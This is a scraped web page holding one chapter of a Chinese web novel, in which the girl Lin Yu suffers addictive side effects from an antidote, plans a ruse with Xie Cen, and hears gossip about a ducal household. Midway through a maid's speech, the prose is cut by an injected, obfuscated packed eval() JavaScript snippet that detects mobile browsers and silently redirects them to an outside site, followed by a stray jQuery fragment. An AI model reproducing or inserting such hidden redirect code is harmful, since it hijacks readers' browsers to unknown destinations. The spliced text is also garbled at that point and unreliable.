文趣网 > 都市小说 > 真千金,但火葬场一条龙服务 > 18. 第十八章
    不过那个老古板做出来到还合乎身份,面前的小姑娘做起来则是奇怪他娘给奇怪开门——奇怪到家了。

    林钰只好又盘腿坐下。

    “行了行了。”谢岑放不下心再次强调。

    “那个药一个月只能吃一次,就是你快毒发的时候,这个你知道吧?而且它只能缓解你的痛苦,不能完全根除你的毒,可能还是会活到二十多岁毒性压不住了就一命呜呼了,也可能不会。这个药先一直配着,若有新进展或者新解药我再交给你。”

    林钰点点头,就算是活到二十多岁,也还有十多年的日子,那好像也够了。

    “先生,我今日来找你是有求于您。”她掏出一块小小的银元宝推在桌面上。

    谢岑好玩一样的拿起银元宝在阳光下遮住自己的左眼,“你讲。还有不要叫我先生了,听着好奇怪。”

    他回忆了一下京中那些花宴上姑娘是如何唤人的:“叫我岑哥哥就好。”

    林钰无奈,心下腹诽,这样听起来更奇怪了。

    不过她还是清脆道:“好,哥。”

    谢岑是家中最小的一个孩子,但是此刻听着多个妹子似乎也不错。

    林钰没有被打断,于是继续道:“我现在住在兰桂坊的卫府,我需要把门前的那棵树砍掉,但是主家没有发话是否要保留它,所以我想请您跟着我去卜一枚凶卦。”

    谢岑依旧吊儿郎当,可闻言当即嘴角一抽支棱起来,不会这么巧吧?

    “东北角的卫府?邳国公卫元立府上?”

    他怎么知道?

    迟疑了一下,林钰还是点了点头。她其实并不清楚这位卫大人到底是那位卫大人,但那一片一路走去貌似也没几个姓卫的,应当是八九不离十了。

    “你不是说你在附近支起来了一个算命的摊子,所以我想借你个名头。”林钰挠挠头,最初她还以为谢岑会在摊子随机挑选有缘人算一卦,目光隔空示意那张简陋的桌子。

    “一直坐在那儿,太累了。”谢岑疏了疏筋骨伸了个懒腰。

    “行吧。你这个忙我帮了。不过,银子就算了,你这点儿仨瓜俩枣自己留着买点好吃的吧。”

    他将银元宝抛向林钰,顺口道:“什么时候。”

    林钰思索了一下:“越快越好吧,如果明后日你要是有空那就最好。”

    谢岑对着林钰打了个响指,抛出一个媚眼表示可以。

    林钰默默低头,这人看着也忒不正经了,希望他能圆满完成任务。

    她又补充一句:“你上次装道士装的太奇怪了,能不能换个装扮?”

    谢岑点头应下,窗户外摊子上站了一个人,在摊子面前等待了许久,他坐直身子出去看看。

    林钰坐在暖洋洋的日光下,精致的绿叶形小碟中垒起花瓣、花蕊、花苞。

    她伸出手,可眼光扫到指尖上不知道什么时候蹭上去的灰印子和手背上的皴裂红肿,又收回了手,只是凑近碟子细细又端详了几眼。

    香中带甜的味道一缕缕勾引着她的鼻子,如果刚刚去闻那朵真的花也不过就是这个味道了吧。

    她终究还是没有动作,只是将银元宝端正的放在谢岑坐过的位置上。

    她也该走了,林钰从地上爬起来。

    可不知是不是坐的时间太久,猛然起身,她只觉得脑袋昏昏沉沉的,暖黄色的日光在眼前结成金色的蛛网不断闪动。

    注意到她的状态不太对,谢岑上前拽住她的胳膊把上她的脉搏神色一凝。

    不好,怎么横冲直撞的,解药服下去将原本的平脉之相打得七零八落!

    糟了!他咋咋呼呼急道:“你现在什么感觉?”

    林钰张张嘴却不出声儿。

    谢岑只好将她先放倒在地上,冲到另一个房间去拿针包。

    **

    再次意识到感觉回笼时,林钰面前的蛛网终于消失了,谢岑的大脸直直悬挂在她正上方。

    “我好了。现在感觉还行。”她发声的时候还是有点虚弱,一动脑袋还能感觉到头顶密密麻麻的银针在跟着动。

    “喝口水,”谢岑递给她一个巴掌大的精美小茶杯后开始将银针一根一根的拆下来,“睁着眼睛叫你,你也没反应。”

    “所以你刚刚感觉什么样子?”

    林钰皱起眉头,那是一种很难描述的感觉,“我看不见你了。”

    “失明了?”谢岑没想到这解药和毒药对不上竟然会有这样严重的副作用。

    “我只是看不见你,但是我眼前全是蜘蛛网,我以前很怕的,可是刚刚我一点都不怕了,”林钰仔细回想,并不觉得很黑,“而且我感觉像是踩在云上,我的身体轻飘飘的。”

    如果她喝过酒,大概能描述出这是一种飘飘欲仙的感觉,可她不曾碰过,并不明白这样奇怪的感受。

    “全是蛛网和光斑,但是我感觉一点都不痛,很高兴,很舒服……很放松,但是又很……刺激?”她手指攥着茶杯,还是形容不出那种感觉。

    “我懂了,解药的剂量和毒药的毒性把那种成瘾性激发出来了。啧,这可是有点麻烦。”

    林钰睁着眼睛,不敢想象若是在遇见赵谅的时候,出现睁着眼睛看不见人的景象将是多么危险的情况。

    谢岑皱着眉,“你再吃一颗解药,我这边加紧给你调制新的药。”

    她只好从怀中取出小红品又吞服了一颗药丸,盯着屋顶看了几晌,她爬起身子:“好,那我也该出发了。”

    “不过,小白是谁?”少年又挤眉弄眼,“这名字听起来像是一只狗?你有一只杂毛流浪狗?”

    林钰凝滞住了一瞬,她其实刚刚并不记得自己知否有喊出什么,可光怪陆离中温暖的感觉总是会让人想起美好的东西。

    她有些晃神:“是我的朋友,”

    不过,林钰想起最后见到那个……人,七零八落躺在赵郢刀下的样子,“可是我应该再也见不到他了。”

    吸了吸鼻子她便起身要走。

    好像又戳到别人的痛处了,谢岑赶紧就此打住转移话题道:“你还能走得动?”

    新认的妹子像牛,使不完的一身牛劲儿。

    林钰将小茶杯里的茶水一饮而尽,苦巴巴的,也不知道有什么好喝的。

    “死不了,还能走。”

    谢岑暗自发笑。

    果然是牛,牛嚼牡丹,也强健如牛。

    **

    一靠近卫府,林钰就敏锐的感觉到今日的氛围不同于往日。

    “我有要紧事要告诉你,钰儿。”

    昏黄的光线下,刘妈妈步履匆匆迎了上来,八字眉显得格外的纠结:“今日主家的一位小公子从京城来,说是要在这里住上几日。”

    林钰顿了顿,挤出了甜甜的梨涡,“明白,刘妈妈,我会尽力不出岔子的!”

    刘妈妈眼皮耷拉着眼皮的三角眼中折射出松口气的目光,拉着林钰坐在她的床边上。

    “孩子,你刚来我没有给你解释清楚,你且听我说,咱们府上现在是有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644396|205793||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    两位爷的,大爷主事,二爷年纪比较小。”

    林钰立马点点头,她想起谢岑的反应,能让他认识的人想来也是身份不太寻常的。

    “咱们大爷是当今圣上面前的红人,已经承袭了爵位。”

    林钰疑问:“爵位?”

    刘妈妈状似作难,她总觉得这个丫头迟早会走,若是以后顶着国公爷府上的名头为非作歹传到主家耳朵里,自己的晚年还要不要了。

    可眼下,已经来了一位公子,若是她对此一无所知,难免不会出问题,索性解释清楚。

    “咱们大爷是当今的邳国公,”她想了想,“可具体任着什么官职,官场上那个复杂,我也说不清楚。”

    林钰可算是明白这宅子被赐给了谁,她没有太惊讶:“如今到府上的这位是,大爷的公子?”

    刘妈妈又拧拧眉毛,私下里说主子们的私生活其实是不好的,可她又憋得慌:“大爷子嗣不丰,早年一直没有孩子。夫人和大爷关系……”

    她摇摇手掌,继续道:“二爷还未成婚,大爷呢,现在名下有三个儿子,可都不是嫡子。今日到的,这是其中之一,听闻先前他母亲是外室。”

    林钰笑笑:“金屋藏娇,那这位应该很受宠吧?”

    刘妈妈摇摇头:“妄议主子的事不好,可前两年不知道他母亲出了什么事,给大爷关到外面的别庄上去了,后来有人在私底下传说是他母亲和人私通,被大爷给发现了。”

    林钰眼神冷下来,还没见到府上这位,也不知这位到底是个什么样子的人。

    不过听着这一连串的事,她觉得此地不可久留,得趁早给自己打听一个好去处才行。

    刘妈妈此时说八卦已经起性,可一阵夜风吹进来,她又觉得该收尾,最后只道:“我今日说的你可不许乱传。”

    她要走,林钰起身送她,最后不知怎么问了句:“那这位公子的母亲,现在如何了?”

    刘妈妈打了个寒颤,左右看看,略微害怕:“叫大爷给乱棍打死,一张白布一裹,也不知晓有没有全尸。”

    意料之中,她只是点点头。

    “好!”

    送走刘妈妈,她和衣上床,迷茫盯着浓稠的黑暗。

    门口,那棵树里的东西,该怎么办呢?

    即使只是主人之一来到了这间宅子,她也从未更清晰的认识到这间曾经被她当做家的地方完全是不属于她的。

    林钰想起被赵郢捅成碎片,消失在过去的义庄的那位漂亮朋友。

    “小白。”她唇齿轻触,无声的唤出声。

    这个时候如果能握一握他的手就好了。

    指尖虚虚的动了动,记忆中真的有过这样温暖的时刻。

    那双干净修长的手带着慑人的温度将林钰脏兮兮的小手包起来,用一方洁白的帕子沾了一点凉水轻轻擦洗手掌中被石子划破的地方。

    可惜什么都没有,但她本来就什么都没有,那其实也没有什么好可惜的。

    那若是要找一个新去处,应该去哪里呢?在哪里才能拥有接近忘忧阁的可能性呢?

    过几日先找人打听打听好了。

    林钰这样想着,陷入了沉睡,没发现从没关上的窗缝中跃进一个不明的物体,散发着新鲜血液的铁锈味,尾巴在地上轻轻拍打。

    睡梦中的小姑娘耸动鼻子,难以描述的难闻气息让她有些不耐烦。

    黑色的影子跳上床边,将脑袋探在林钰的脸上,没有一丝生息,可却好似在感知着她的气息。